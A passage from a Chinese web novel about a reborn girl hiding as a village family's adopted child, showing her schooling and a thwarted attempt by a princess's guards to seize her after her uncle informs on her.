谢老太太指了指鸡窝:“老二媳妇,你去把这阵子攒的鸡蛋拿过来。老二,你卖完柴火把鸡蛋给老三送去,他一个人在城里,身边也没个知冷知热的,我这个当娘的可不得多疼疼他。”
谢三婶将抹布丢到灶台上,冷哼一声。
她倒是想去,可谢老太太说她去了会让夫君分心,硬是让她留在了村里。
不过谢三婶也不是那等不分轻重的,忍住一时的分离,将来她便是官夫人,走到哪里都有人恭维,风光着呢。
谢二婶去鸡窝捡鸡蛋,家里养了六只母鸡,一个月下来能攒好几十个,除了孩子吃的,剩下全都进了谢老三肚子里。
谢二婶不忿,都是谢家的儿子,凭啥谢老二一个都吃不到?
谢二婶眼珠一转,抓起一个鸡蛋,就要往袖子里塞。
“老二媳妇。”谢老太太的声音幽幽传来,“你要是敢偷鸡蛋,老娘剁了你那双爪子。”
谢二婶一个激灵,扭头挤出一抹笑:“瞧您这话说的,我偷鸡蛋做什么。”
谢老太太嚼着馍馍,眼一斜:“馋呗。”
谢二婶:“......”
谢老二拍腿大笑。
谢三婶也捂嘴笑。
妯娌笑自己也就罢了,谢老二是她夫君,就属他笑得最大声。
再看隔壁桌,两个儿子也嘻嘻哈哈,反倒是闺女一脸的担忧。
谢二婶眼都气红了,捡完鸡蛋饭都没吃一口,躺在炕上生闷气。
谢老二用过夕食,进屋后鞋也不脱,直接往炕上一躺。
谢二婶气谢老二胳膊肘往外拐,拿后脑勺对着他。
哪成想,谢老二竟埋怨起了她:“家里少你一口吃的还是怎的,还偷鸡蛋,一股小家子气,也不怕被人笑话。”
谢二婶喉头一哽,这口气终究是咽不下去,当下一扭身,照着谢老二的小腿猛踹几脚。
谢老二吃痛,横眉竖目:“你个婆娘疯了不成?”
谢二婶磨牙冷笑:“我是为了谁?还不是因为家里的鸡蛋几乎全都进了老三肚里,我心疼我男人,偷偷留个鸡蛋给他补身子,最后却没落着好,平白挨了两顿骂,我真是贱得慌!”
谢老二不仅不感动,反而埋怨谢二婶多事:“老三是家里最有出息的,日后是要做大官的,多吃几个鸡蛋又怎么了?便是吃我的肉,只要他想,那也使得!”
谢二婶气笑了,扑上去一把扯开谢老二的衣服,又抓又挠。
“一天到晚只知讨好老三,做他的跟屁虫,对我和孩子不管不问,几个孩子全是我一个人一把屎一把尿地拉扯大,就连过继的事儿也是我苦心钻营来的。”
“你娘骂我,老三媳妇笑我也就罢了,你笑个什么劲?”
“但凡你争气一点,光哥儿早就过继到长房了,哪会被一个小野种摘了桃子。”
谢二婶越说越委屈,捂住脸嗷嗷大哭。
谢老二烦透了她胡搅蛮缠的泼妇样,擦去胸口的血珠子,拢上衣襟,“咣当”一声拉开门,找狐朋狗友喝酒去了。
8. 008
沈仪切了拇指长一段腊肉,炼出小半碗油,收进橱柜里。
如今正值寒冬腊月,气温低,可以保存很久。
而后又用炼油的腊肉炖白菜,做了满满一大碗,冒尖的那种。
饭菜上桌,谢峥三人团团围坐。
沈仪深吸一口气,唇角微勾,显然对自己的厨艺十分满意:“开饭!”
一声下令,三人齐齐动筷,大快朵颐起来。
谢峥不爱吃肥肉,但是穿越至今,她已有许久不曾沾过荤腥,实在有些馋了,这会儿胃口大开,很快吃完一小碗糙米饭。
如此犹觉不够,眼巴巴瞧着饭锅:“阿娘,我好像还没吃饱欸。”
沈仪伸手探向谢峥的肚子,谢峥努力吸气。
吸气失败,依旧圆鼓鼓。
“不能再吃了,当心吃撑,夜里睡不好。”沈仪十分冷酷地表示。
谢义年附和,埋头苦干第三碗糙米饭:“明晚上还有的吃,百叶结烧肉也香得很。”
谢峥无法,只得作罢,帮着沈仪收拾碗筷,洗漱后钻进被窝。
炕是暖的,胃里也是暖的。
谢峥整个人仿佛泡在温泉里,在极致的舒适之中,晕乎乎地沉沉睡去。
在她不远处,谢义年和沈仪紧挨在一起,睡梦香甜,唇边挂着笑。
......
翌日,晨光熹微之际,谢峥跟谢义年一块儿用过朝食,一个去村塾,另一个则去码头扛麻包。
沈仪送两人出门,将昨日谢义年换下的衣服洗了晾出去,开始打络子。
谢峥走进课室,大多数学生都到了,正摇头晃脑地诵读《三字经》。
【滴——任务发布中.......】
【掌握大周朝常用文字】
【熟背百家姓】
【熟背千字文】
谢峥找了个空位置坐下,她没有书,也没有笔墨,就这么干巴巴地坐着。
同桌投来好奇的目光,一连三问:“我以前没见过你,你是哪个村的?你没带书吗?怎么连笔墨都没有?”
谢峥仿照幼儿园小朋友的坐姿,双手交叠在胸前,脊背笔直如松:“我家就在福乐村,今日刚开始读书,什么东西都没准备呢。”
“你是福乐村的?”同桌皱着脸,“我也是福乐村的,可我对你没有丁点儿印象。”
谢峥抿了下唇:“我平日里不怎么出门。”
同桌追问:“你是哪家的?”
谢峥昂起脑袋:“我是谢义年家的。”
谢义年?
那她岂不是......
同桌瞪大眼睛,看了谢峥一眼又一眼,像是在看什么珍稀动物,嘴里咕哝:“长得比谢宏光好看多了,可惜是个小病秧子。”
谢峥没听清:“什么?”
同桌把头摇成拨浪鼓,将《三字经》放在课桌中间:“一起看。”
谢峥手指抠桌角,身子扭两下,小声道:“我还不识字。”
同桌拖长音调啊了一声,有些尴尬。
谢峥问他:“你又是怎么识字的?”
同桌挠挠头,掰着手指如数家珍:“反复诵读百三千等启蒙书籍,再结合反切法和读若法。”
他顿了顿,补充道:“后两种方法你可以参考《说文解字》,三者结合,很快便能掌握常用文字。”
谢峥小鸡啄米似的点头,戳了戳同桌的胳膊:“你可以读两遍《千字文》和《百家姓》吗?”
同桌不解:“作甚?”
谢峥有些小得意:“《三字经》我已经会背了,只差另外两本,你读两遍,我就能记住了。”
同桌:“???”
谢峥迎上同桌震惊的眼神,摸了摸鼻尖,似是不好意思:“前两日我在村塾外面偷听余夫子讲课,余夫子见我将《三字经》全部背下来,便让我来村塾借读。”
同桌:“......”
同桌表情呆滞,好半晌才找回声音:“你......你过耳不忘?”
谢峥摇头:“不是。”
同桌刚松了口气,又听谢峥说道:“是分三次才通篇背诵下来的。”
同桌:“......别说了。”
三次也很离谱好吗?!
他当初足足花了半个月才背下来!
谢峥从善如流:“好哦。”
同桌双手用力搓两下脸,有些怀疑人生,按下满心的羡慕嫉妒,取来《千字文》和《百家姓》,各朗读两遍。
谢峥全神贯注地听,末了郑重道谢。
同桌摇了摇头,决定好人做到底:“夫子这几日一直在讲《三字经》,散学后我将百三千借给你,你自个儿回去琢磨。我学识尚浅,你若有不懂的,可以去请教夫子。”
谢峥欣喜不已:“多谢,我会好好爱护它们的。”
同桌摆了摆手:“对了,我叫陈端,你叫......”
话未说完,余成耀拿着书本走进来。
陈端闭上嘴,随众人起身问安:“夫子安好。”
余成耀抬手:“诸位请坐,昨日我们讲到‘苟不学,曷为人’,今日老规矩,先将《三字经》通读一遍,然后继续往后讲解。”
众学生应是,高声朗读。
通读完毕,余成耀手捧《三字经》,开始讲课。
谢峥维持幼儿园小朋友的坐姿,浅褐色的眼里写满了专注。
余成耀瞥一眼,满意转瞬即逝。
......
另一边,谢老二背上柴火,拎着一篮鸡蛋,乘船进城去。
一个时辰卖完柴火,谢老二直奔谢老三的住处。
自打考上童生,谢老三便离开村塾,去往县城的私塾读书。
谢老太太舍不得谢老三每日来回奔波,便在私塾附近租了一间屋子,还出钱请同住一个院子的妇人,为他准备一日三餐。
也就是谢老爷子和谢老太太曾在富商家做事
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,两口子攒了些银子,又有谢义年这个吃苦耐劳的老黄牛,否则真禁不住这么嚯嚯。
今日恰逢休沐,谢老三在家温书,冷不丁被敲门声打断思路,心中不耐:“谁?”
“是我,二哥。”
谢老三面色微缓,开门让谢老二进来。
“娘让我来给你送鸡蛋,拢共三十八个,吃完了就让人捎话回去,我再给你送来。”
谢老二看着身着直裰,风姿秀润的兄弟,暗道不愧是童生老爷,通体气度真真是羡煞他也。
可惜他不是读书的料子,只能寄希望于兄弟和儿子,盼着有朝一日,能借他们的光,尝一尝做地主老爷的滋味。
“有劳二哥走这一趟。”谢老三让谢老二坐下,“家里一切可好?”
谢老二将谢义年捡回谢峥,有意收为养子,余成耀还让谢峥借读的事情说了。
谢老三眉间折痕深刻:“大哥真是越来越不知轻重了,还有岳丈,村塾中人人都要交束脩,为何独为一人破例?”
谢老二轻拍谢老三胳膊:“爹娘都劝过大哥,但他执意如此,不如你找时间回去劝劝他,即便不过继光哥儿,也不能便宜了某些阿猫阿狗。”
谢老三不着痕迹避开谢老二脏兮兮的手:“大哥向来有主意,我劝了也没用,过几日我去找几位叔爷。”
当初谢义年闹分家,正是他给谢老太太出主意,请来几位叔爷,压着谢义年不得分家。
只要叔爷们不同意,谢义年掀不起什么浪来。
谢老二大喜:“这个主意好哇!”
谢老三不以为意,只是他们一根筋罢了。
既然能速战速决,又何必大费周章。
长房的孩子,还得向着他这个三叔才行。
毕竟他那个好大哥是挣钱的一把好手,他的科举路才刚开始,将来花钱的地方多着呢。
谢老二并未待太久,喝了一碗水便回村了。
出城时,一群衙役疾驰而过,尘土飞扬,呛得人连连咳嗽。
“怎么着急忙慌的,这是要上哪去?”
“前几日官府发布告示,顺天府那位九千岁的孙女儿——荣华郡主随夫君回乡祭祖,途中不幸遇刺。据说伤她的是个侏儒,看似六七岁大小,实则是个二三十岁的成人,被郡主的侍卫打伤后逃了。”
“郡主的那位探花郎夫君震怒不已,直接找上知府大人,知府大人下令,让治下各县通缉那侏儒,凡是提供线索的,一律赏银十两。这几日衙役挨家挨户搜查,估计再过个两日就要到底下的各个镇子搜查了。”
“乖乖,真不愧是九千岁的孙女儿,她这一来,整个凤阳府都热闹了。”
“谁让九千岁深得帝心呢。”
六七岁?
受伤?
赏银十两?
谢老二眼里闪过精光,向着县衙狂奔而去,却被衙役拦在门外。
谢老二急了,大吼一声:“我知道那个侏儒在哪!”
9. 009
村塾每日有两节课,巳时开始,未时结束,期间还有半个时辰的休息时间。
未时一到,余成耀留下功课,拿上书本扬长而去。
陈端将百三千交给谢峥,背上书袋一溜烟跑没了踪影。
谢峥抱着书本回到家,发现两扇门上挂着铁将军,谢峥环顾四周,又去屋后的菜地,不见沈仪的踪影。
谢峥戳了戳东屋门头上的锁:“早上也没说要出门啊,也不知何时回来,外面好冷......阿嚏!”
接连打了好几个喷嚏,紧接着又捂着胸口,咳得上气不接下气,恢复几分血色的脸复又变得惨白,靠在门上气喘吁吁。
“呀!孩子你这是怎么了?”
一双手托上颤巍巍的胳膊,谢峥喘匀了气,抹去眼角湿意,抬眼看向来人。
妇人身着青色交领襦裙,用木簪挽起发髻,简洁而利落。
眼尾有细纹,双鬓微白,生得一副慈眉善目,满脸担忧地看着谢峥。
谢峥眨了眨眼,不着痕迹避开妇人的手:“无事,只是方才呛了风。”
妇人笑着道:“我家住在村塾隔壁,你叫我桂花婶子便好。你阿娘进城卖络子和豆酱去了,担心你散学后无家可回,便将钥匙放在我家。”
“这不,村塾一散学我就来了。”桂花婶子从袖中取出两把钥匙,交到谢峥手里,“你阿娘跟我闺女一块儿去的,也是临时起意,那会子你在上课,就没知会你。”
谢峥微微颔首,唇角抿出一抹浅笑:“多谢桂花婶子。”
桂花婶子挥了挥手:“这有啥好谢的,你赶紧进屋去吧,今儿风真大,你这身子还没好全,得精细养着。”
谢峥应好,待桂花婶子离去,用钥匙开了东屋的门,搬来小木凳坐在窗户后面,翻看陈端借给她的书本。
沈奇阳虽然读书,但是从不允许原主碰他的书,原主每日除了干活儿就是跟苏如意学习女红。
谢峥早在小学时便将古代三大启蒙书籍——百三千背得滚瓜烂熟,这会儿翻看,不过是研究大周朝的文字与华夏汉字有何不同。
若区别甚大,还得从头学起。
一本《三字经》翻完,除了极少部分文字,几乎和繁体字一模一样。
谢峥将与繁体字不同的十多个字记下,又去翻看另外两本书,将不同的文字一一记在心里。
但这远远不够。
谢峥寻思着,明日再厚脸皮一次,向陈端借一本《说文解字》。
沈奇阳为了往上爬,不惜杀害妻女,绝不甘心因为毁容而放弃仕途。
据谢峥所知,那位荣华郡主的靠山很硬,难保沈奇阳不会另辟蹊径,哄得荣华郡主为他谋求官位。
报仇要趁早,谢峥必须尽快掌握大周朝的文字,早日参加科举,入朝为官。
谢峥在心里理了一遍未来十年的计划,放下书本,去灶房烧水喝。
她这身子喝不得冷水,谢义年和沈仪都是厚道人,也不心疼柴火,每日都烧热水给她喝。
水刚烧开,屋外传来一阵脚步声。
谢峥竖起耳朵,是沈仪回来了,连忙放下火钳,起身相迎。
“阿娘!”
沈仪走进灶房,摘掉谢峥头发上的草屑,柔声解释道:“原本准备明日将络子和豆酱送去城里卖,上午你桂花婶子家的薇姐儿带着绣好的帕子来找我,我不便推脱,便随她一道去了。”
“桂花婶子送钥匙的时候说过了。”谢峥端详沈仪的脸色,见她眉心微蹙,不由问道,“阿娘挣了钱,为何不开心?”
沈仪没想到谢峥这般敏锐,轻叹一声:“收豆酱的那家酒楼突然压价,原本一坛豆酱可以卖九十文,这次只卖了六十文。”
几乎压了一半,确实有些过分。
谢峥将热水倒入碗中,放在灶台上晾一会儿:“阿娘可知那酒楼为何突然压价?莫非收了旁人的豆酱?”
沈仪却是摇头:“那酒楼生意极好,不光收咱家的豆酱,别家的也收。掌柜说豆酱味道不太新鲜,念在过去的交情才收下,可我一直是这么做的,早上自个儿也尝过,味道是极好的。”
谢峥没急着安抚,只道:“阿娘,我想尝一口豆酱,可以吗?”
沈仪打开橱柜,里面有两碗豆酱,是今儿一早从腌制豆酱的缸里打上来的。
她用筷子在略小的碗里蘸了一点豆酱,递到谢峥唇边:“有些咸,不可多食。”
谢峥浅尝一小口,当即赞不绝口:“那掌柜真是睁眼说瞎话,明明味道极好,我怀疑他们就是看阿娘你好说话,才会故意压价。”
沈仪心中熨帖至极:“我也是这么觉得,这做豆酱的手艺可是阿奶独门秘制,怎么可能不好吃。”
谢峥知道沈仪是逃难来到福乐村,家中亲长皆已离世,是住在村尾的一个阿婆好心收留了她,次年又与谢义年看对眼,结为夫妇。
“下次让阿爹去卖,若再如此,我们就换家酒楼,让他们后悔去!”
沈仪正有这个打算,端出另一碗豆酱,放到谢峥手里:“沉不沉?”
谢峥掂量一下,摇头:“不沉。”
沈仪俯身,直视谢峥的眼睛:“余夫子家住村塾往西第八家,你将这碗豆酱送去给余夫子,好不好?”
家里穷得叮当响,还欠下外债,这厢余夫子让谢峥免
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费借读,沈仪心里过意不去,想着送碗豆酱,以示谢意。
让谢峥去送,余夫子才能记得她的好。
谢峥脆生生应好,捧着豆酱直奔余家。
沈仪在她身后吆喝:“慢些走,别摔了。”
谢峥无奈:“知道啦。”
余家,余成耀正在指点两个孙子的功课,比谢峥略大些的男孩被他训得蔫头耷脑,双眼黯淡无光。
谢峥有些好笑,看来无论现代还是古代,学习对于大多数人来说都是一件挺痛苦的事情。
“夫子,我阿娘做了些了豆酱,让我送一碗过来给您。”
老妻在屋里教孙女儿做女红,不便打搅,余成耀让孙子自行钻研,起身接过大海碗:“你等会儿,我把碗换下来。”
谢峥站在院子里,两个男孩好奇地打量她。
“她是哪家的?”
“我哪知道。”
“豆酱还挺香,想吃。”
“想你个大头鬼,赶紧做题,做不出来当心阿爷打你手板!”
“呜......”
谢峥:“......”
余成耀将碗洗干净,还给谢峥:“替我谢过你阿娘。”
谢峥无有不应,有些窘迫地挠了挠头,耳尖泛红:“夫子,我可以向您借一本书吗?”
余成耀问她:“什么书?”
“《说文解字》。”谢峥解释道,“上午我请教陈端如何识字,现如今《千字文》和《百家姓》已经背得差不多了,打算结合《说文解字》一起看,争取早日掌握常用文字。”
余成耀最喜欢勤奋好学的孩子,闻言二话不说便答应了,去书房取来四本书——《说文解字》和百三千,一并交给谢峥。
“这书是两个小子曾经用过的,现如今他们在学习四书,用不着了。书上有许多注解,待你识了字,可以参照着钻研一二,必定受益匪浅。”
谢峥惊喜不已,抱紧怀中书本,叠声道谢,而后又将碗放在桌上,用征求的口吻问道:“夫子,我先把书送回去,然后再来取碗,可以吗?”
余成耀欣然应允。
“多谢夫子,那我先回去啦!”谢峥挥挥手,小跑着离去。
余成耀捻须,扬声道:“别着急,碗在这儿又跑不掉。”
“知道啦!”
谢峥走到村塾门口,身后突然传来一道高亢男声:“就是她!她那就是个伤了郡主的侏儒!”
谢峥:“???”
不待谢峥回头,一只大手铁钳似的钳住她的胳膊,声音阴嗖嗖的,听得人心尖儿发颤。
“小兔崽子,你可真是让我好找啊!”
10. 010
却说那日荣华郡主一声令下,侍卫张康年和刘朔赶赴凤阳山,只为将沈萝挫骨扬灰。
到了地方却发现,深坑内空无一人,本该埋于土中的女孩竟消失得无影无踪。
张康年和刘朔吓得魂飞魄散,连滚带爬回到沈家村,将此事禀报荣华郡主。
荣华郡主冷笑:“夫君,你那好女儿本事倒是不小。”
沈奇阳饮下丫鬟送到唇边的汤药,温声安抚道:“娘子息怒,你可是忘了,为夫大婚当夜便与你说过,苏氏本是外乡人,当年携女而来,于我有大恩,作为回报,要我娶她为妻。我与她之间仅有恩情,并无情爱。”
“同理,为夫与萝姐儿并无血缘,更无甚父女之情,顶多算是同住一个屋檐下的熟人罢了。”
“眼下当务之急是尽快找到萝姐儿,办好陛下交代的事情,早日回京。”
“你我离京已一月有余,珠姐儿多日未见娘子,必然想念得紧。”
他也得想想法子,试着走岳丈的路子,让陛下破例,允他入朝为官。
寒窗苦读二十载,千方百计引起荣华郡主的注意,对她伏低做小,可不是为了做个闲散郡马爷。
他沈奇阳要成为大周朝唯一一个面容有瑕却手握实权的大官!
荣华郡主不经意瞧见沈奇阳侧脸的狰狞疤痕,嫌恶别开眼,真真是肠子都悔青了。
那日跨马游街,她一眼相中新科探花,回府后派人送去请帖,邀其过府一叙。
席间,荣华郡主表明青睐之意,却被告知沈奇阳已有妻室。
荣华郡主的祖父是当朝九千岁,父亲亦是二品尚书,父子二人深得陛下宠信,她更是认中宫皇后为义母,长居宫中。
多年荣宠让荣华郡主养成了强势的性格,遇上喜欢的东西,无论如何都要弄到手。
她不顾父亲的反对,公然示爱沈奇阳。
为他一掷千金购豪宅,为他大肆搜罗名家字画,甚至让她与亡夫的独女唤沈奇阳阿爹。
此事闹得满城风雨,连宫中的陛下都有所耳闻,将荣华郡主召到御前:“你可认定了那沈探花?”
荣华郡主颔首:“非他不可!”
陛下便召见沈奇阳:“荣华是朕亲封的郡主,自不可为人平妻,屈居人下。”
沈奇阳含泪应是,数日后与荣华郡主成婚,次日又亲自派人除掉妻女。
如此这般,荣华郡主心底芥蒂尽数消弭,对沈奇阳可谓满意至极。
为了给沈奇阳做脸,还随他一道回凤阳府,祭拜公婆。
万万没想到,原以为是掌中之物的苏氏母女竟让凤阳府之行生出诸般变故。
沈萝。
荣华郡主无声默念,恨不得将这个不安分的小崽子咬碎嚼烂了。
她看向跪在下首的侍卫:“限你二人五日之内找到沈萝,否则......想想黄忠和朱江的下场。”
黄朱二人奉命处理苏氏母女,却让沈萝逃出生天。
荣华郡主怒不可遏,下令将他二人乱棍打死。
那边张刘二人没日没夜地搜查沈萝的下落,沈奇阳急于回京谋求官职,便说服荣华郡主,捏造出一个根本不存在的侏儒,也不管孩童与侏儒区别甚大,借着九千岁的权势,大肆通缉沈萝。
有关沈萝的相貌和体态特征传得人尽皆知,殊不知沈萝早已改头换面,成了谢峥,正躺在谢家的炕上,享受着从未有过的天伦之乐。
一晃过去五日,张刘二人一无所获。
绝望之际,青阳县传来消息,有一百姓前去县衙检举,他的兄长几日前从凤阳山捡了个孩子回去。
细问那孩子的年龄体型,竟无一不与沈萝相符。
张刘二人主动请缨,愿前往青阳县,捉拿沈萝。
沈奇阳应允:“快去快回,死生不论!”
几乎是话音刚落,臀下的灯挂椅发出一声不堪重负的呻.吟。
沈奇阳眼皮狂跳,不祥的预感涌上心头。
不待他有所动作,那灯挂椅便“砰”地散了架,四分五裂。
沈奇阳摔得四仰八叉,捂着右臂痛呼不止。
荣华郡主脸色骤变,视沈奇阳如瘟疫一般,提起裙摆连连后退,直至后背贴上墙壁才停住。
大夫闻讯赶来,一番诊断后下定论:“老爷这是脱臼了,接上即可,只是先前老爷已经脱臼过几次,若再如此,恐怕会发展为习惯性脱臼,稍有不慎便会......”
大夫的嘴唇一张一合,沈奇阳双目放空,一个字也没听进去。
沈奇阳恍然想起苏如意,那个没日没夜做绣活儿,几乎瞎了眼的温柔女子。
他活了三十多载,唯独这几日霉运缠身,因各种意外受伤。
莫非是苏如意死后化作厉鬼,向他索命来了?
一股寒意席卷心头,沈奇阳打了个寒噤,脸色寸寸惨白下来。
......
“就是她!
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她那就是个伤了郡主的侏儒!”
“小兔崽子,你可真是让我好找!”
张康年死死抓住背对他的孩子的胳膊,咬牙切齿说道。
他已经想好待会儿要怎么折磨这个小兔崽子,以报近日之仇了。
谢峥瞬间明白是怎么一回事,也不回头看,闷头直往前冲。
才跑出两步,就被一股巨力扯了回去。
“你想往哪跑?”张康年扯着谢峥的胳膊,将她整个儿拎起来,“这几日我俩提心吊胆,吃不下睡不好,四处寻你,你倒好,竟然躲在......”
谢峥的面庞映入眼帘,刘朔脸上恶狠狠的表情倏然凝固。
他与张康年对视,异口同声:“她不是沈萝!”
谢峥身体悬空,整个人的重量都集中在一条细胳膊上,本就蜡黄的脸这下变得惨白如纸,眼里含着两包泪,欲落不落,一边咳得上气不接下气,一边颤巍巍开口:“我是谢家的孩子,我阿爹是谢义年,阿娘是沈仪,才不是什么沈萝呜呜呜......”
张康年盯着明显受了惊,瑟缩成一团的孩子,说不失望是不可能的。
今日他二人来此,便是为了戴罪立功。
若是让荣华郡主知晓他们白跑一趟,指不定用什么阴狠手段折磨他们。
他们倒是可以趁机跑路,天大地大总有他们的容身之处。
可是他们还有爹娘妻儿。
他们是荣华郡主府的家生子,生死皆在主子一念之间。
刘朔咬牙,恶声恶气斥道:“你不是沈萝,你跑什么?”
谢峥瘪嘴,吸了吸鼻子,止不住地抽泣:“你们看起来好凶,我害怕。”
张刘二人语噎。
谢老二旁观全程,意识到谢峥并非官府通缉的侏儒,不甘心十两赏银就这么飞走,眼珠一转,上前耳语。
“官爷,这孩子的个头、年岁与官府通缉令上形容得一般无二,又是从凤阳山而来,草民实在不相信这些只是巧合,说不定她用什么邪术改变了模样。不如您二位将她带回去,交由郡主和探花老爷决断?”
张康年眼神微闪,问谢老二:“她是男是女?”
刘朔是个急性子,蒲扇大掌伸向谢峥:“问他作甚?是男是女扒了裤子一看便知。”
谢峥眼底划过一道冷芒,跟一尾鱼似的,奋力扑腾起来,一脚踹中张康年的肚子,气沉丹田,尖声大叫:“救命!救命啊!有人偷小孩了!”
11. 011
小孩子的声音又尖又细,谢峥卯足力气吼出这一嗓子,几乎传遍大半个福乐村。
正值农闲期,田事已毕,许多村民在村中无事可做,听见呼救声,登时竖起耳朵。
“啥?偷小孩?”
“不好,我家毛蛋还在外边儿呢!”
“孩他爹,拿上斧头,随我去看看究竟是哪个混账吃了熊心豹子胆,竟敢把手伸进福乐村,今儿老娘要让他有命来没命走!”
全村十之五六的村民抄上家伙,乌泱泱直奔声源处而去。
村塾门口,谢峥左手死死攥着裤头,小脸煞白,两眼泪汪汪:“别碰我!救命!阿娘救我!”
沈仪冲出家门,见谢峥被人提溜在半空,另一人满脸狰狞地撕扯她的衣服,谢老二还在一旁不怀好意地笑着,气得浑身发抖:“你们要对我家孩子做什么?”
张刘二人闻声看去,面容秀美的妇人手持菜刀,恶狠狠瞪着他们,仿佛只要他们敢再动一下,她手中的菜刀将会拉响他们死亡的号角。
妇人身后,数以百计的村民手持棍棒,虎视眈眈盯着他们。
谢峥听见沈仪的声音,“哇”地哭出来,泪珠子直往下滚:“阿娘救我,他们要把我从阿爹阿娘身边偷走,还扒我裤子呜呜呜......”
“啥?扒裤子?!”
质问声自身后传来,张康年眼皮跳了下,扭头看去——
体型壮硕如熊的男子站在最前面,手中砍柴刀闪着寒芒。
他身后,同样有数十村民。
谢峥费力扭头,要去看沈仪,还朝她那边伸手,哭声盖过张刘二人的狡辩:“阿娘我好怕呜呜呜......”
沈仪心如刀割,握紧菜刀上前几步:“你们两个畜生,把孩子还给我!”
村民们则鄙夷地看着张刘二人。
“这两人长得獐头鼠目,一看就不是什么好东西。”
“偷孩子我能理解,这年头到处都是拍花子,可为啥要扒裤子?”
“男娃更值钱,谢老大家的这个生得俊俏,乍一看活像个女娃娃,还有什么比扒了裤子看得更清楚?”
持着砍柴刀的余猎户桀桀冷笑:“胆子不小,竟敢来福乐村撒野,今个儿老子定要让你俩知道,马王爷究竟有几只眼!”
说罢大手一挥:“兄弟们,给我上!”
数名壮汉大喊着冲向张刘二人。
余猎户首当其冲,趁着张康年傻眼的功夫,一把将谢峥从他手里薅过来,推出战斗圈,沙包大的拳头重重砸上刘朔的脑袋。
谢峥被余猎户推了个趔趄,眼看要摔倒,被沈仪一把抱住。
“阿娘!”
谢峥把脸埋进温暖的散发着皂荚香气的怀抱,身体如同秋风中的落叶,止不住地颤抖。
沈仪心疼坏了,轻抚谢峥的肩背:“不怕不怕,阿娘在呢。”
村民们看着抱在一起的两人,唏嘘不已。
“幸好我们赶来及时,这孩子也是个机灵的,打不过还知道搬救兵,若是被那两个畜生偷走,谢老大媳妇怕是要哭死呦!”
另一边,张刘二人虽有武艺傍身,奈何双拳难敌四手,不消多时便落了下风,脸上身上皆挂了彩。
谢老二怎么也没想到,事情会变成这样。
他满脑子都是飞走的十两赏银,木愣愣地杵在路旁。
“打得好!”
“悠着点,别真的打死了。”
谢老二一个激灵,回过神来,见张刘二人被压着打,惨叫连连,思及他们的身份,吓得小腿肚直哆嗦,忙扯开嗓门大喊:“别打了!都别打了!他们是顺天府荣华郡主的侍卫,是来捉拿刺客的!”
余猎户耳力好,直起腰虎目圆瞪:“既是捉拿刺客,为何欺负一个孩子?”
谢老二道出侏儒刺杀荣华郡主的一事,又道:“我一听说是在凤阳山,便想到那孩子,担心她对大哥大嫂不利,赶紧将这事儿告诉县令大人。谁知她竟胡说八道,将两位官爷说成是拍花子。”
村民们看着鼻青脸肿,生生疼晕过去的张刘二人,又惊又怕。
“竟是顺天府的贵人?”
“我们打了他,会不会被抓去蹲大牢?”
“都怪谢老大两口子......”
谢峥抬起脸,眼泪掉得更凶了,委屈巴巴地看向谢老二:“我都说了我不是什么沈萝,可他偏说我是沈萝,还让他们把我交给什么郡主......”
谢老二瞅见沈仪不善的眼神,咽了口唾沫,急吼吼打断谢峥:“你放屁!我可没说过这话!”
谢义年早已不是从前的谢义年,若是让他知晓自己做过什么,必然吃不了兜着走。
谢峥瑟缩了下,依偎在沈仪怀中,仿佛这样才有安全感。
沈仪轻抚谢峥脸颊,触到满手湿意,抓起脚边的泥块丢出去,正中谢老二面门,无视他的痛呼,啐了一口:“真当我不晓得你打得什么主意呢?”
以为没了谢峥他们就会过继二房的孩子吗?
就算他们这辈子无儿无女,孤苦老死,也绝不过继谢宏光!
谢老二捂着脑门,被说中心事也不脸红:“这捡来......”
“你住口!”沈仪见谢老二要说谢峥是捡来的孩子,心头发慌,厉声打断他,余光瞥见人群中的朱大夫,眼睛一亮,“朱大夫,您早前为我家的孩子看诊,她不是侏儒,对不对?”
朱大夫瞬间成为人群中的焦点,轻捻胡须,面不改色颔首道:“老夫行医问诊数十载,那孩子绝非侏儒,更是个男娃。”
他顿了顿,补上一句:“老夫对通缉犯一事有所耳闻,那是个女侏儒。”
朱大夫乃是十里八乡唯一的大夫,威望甚重,村民们对他可谓深信不疑。
“侏儒与寻常孩童还是有区别的,谢老大家的那个明显是个孩子。”
“谢老二真不是个东西,用这般下作的手段对付一个孩子,也不怕遭雷劈。”
“虽说找错了人,可这两位官爷实实在在挨了打,万一他们追究起来......”
余猎户撇嘴:“谁招来的,就让谁把人送走。”
谢老太太一听这话,顿时不干了,跳出来嚷嚷:“那可不行,这两人是为了老大家的小崽子而来,该将他们交给老大!”
谢老二附和:“是啊是啊,我也是为了大哥好,又没什么坏心。”
村民们听得直翻白眼,真是个臭不要脸的。
这时,余成仁分开人群,走到最前面。
先前余成耀见村里来了拍花子,又见沈仪和村民们已经赶到,便去了兄长家,将此事告知余成仁。
兄弟俩来了有一会儿,已知晓来龙去脉,思及谢老二做的糟心事,余成仁一阵头疼,语气强硬地说道:“人是你引来的,没人给你擦屁股。”
牺牲一个人和牺牲一群人,他当然选择前者。
谢老太太还想闹腾,对上余成仁冷嗖嗖的眼神,一缩脖子不吭声了。
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余成仁让余猎户带人将张刘二人送去谢家的砖瓦房里,出手打人的几名男子松了口气,又有些幸灾乐祸。
“请神容易送神难,谢老二这回不死也要脱层皮。”
“活该!若不是他,也没这茬事。”
“摊上这么个兄弟,谢老大真是倒了八辈子霉。”
闹剧落下帷幕,人群各自散去,沈仪也带着谢峥回家。
进了灶房,谢峥仰起脸注视着沈仪,很是疑惑:“阿娘,二叔为何说我是沈萝?还有凤阳山,那沈萝在凤阳山刺杀郡主,与我又有什么关系?”
沈仪心头一紧,正欲搪塞过去,谢峥突然剧烈咳嗽起来,脸色愈发苍白。
沈仪恨不得打死谢老二,轻抚谢峥胸口,想让她舒服一些,又听谢峥气若游丝道:“阿娘,二叔为什么要害我?我们不是一家人吗?”
他们才不是一家人。
只有二房三房是一家人,长房永远是外人,不被重视,不被善待。
沈仪不无讽刺地想着,摸了摸谢峥微凉的脸颊,柔声道:“你先上炕歇会儿,我去准备夕食,读了这么久的书,一定饿坏了吧?”
谢峥正是长身体的时候,又大病未愈,的确很容易饿,权当不知沈仪在转移话题,拍拍肚皮:“阿娘辛苦啦,我最喜欢阿娘做的饭菜了。”
沈仪莞尔,为谢峥褪去衣服鞋袜,看她钻进被窝,顺手掖了掖被角。
“啊,对了。”谢峥忽然想起一件事,“阿娘,咱家的大海碗落在夫子家了,您记得去取回来。”
沈仪颔首:“我做好饭便过去。”
谢峥闭上眼,有些不高兴地嘟囔:“那两个人实在是太坏了,夫子借我的书差点被他们踩烂,真讨厌......”
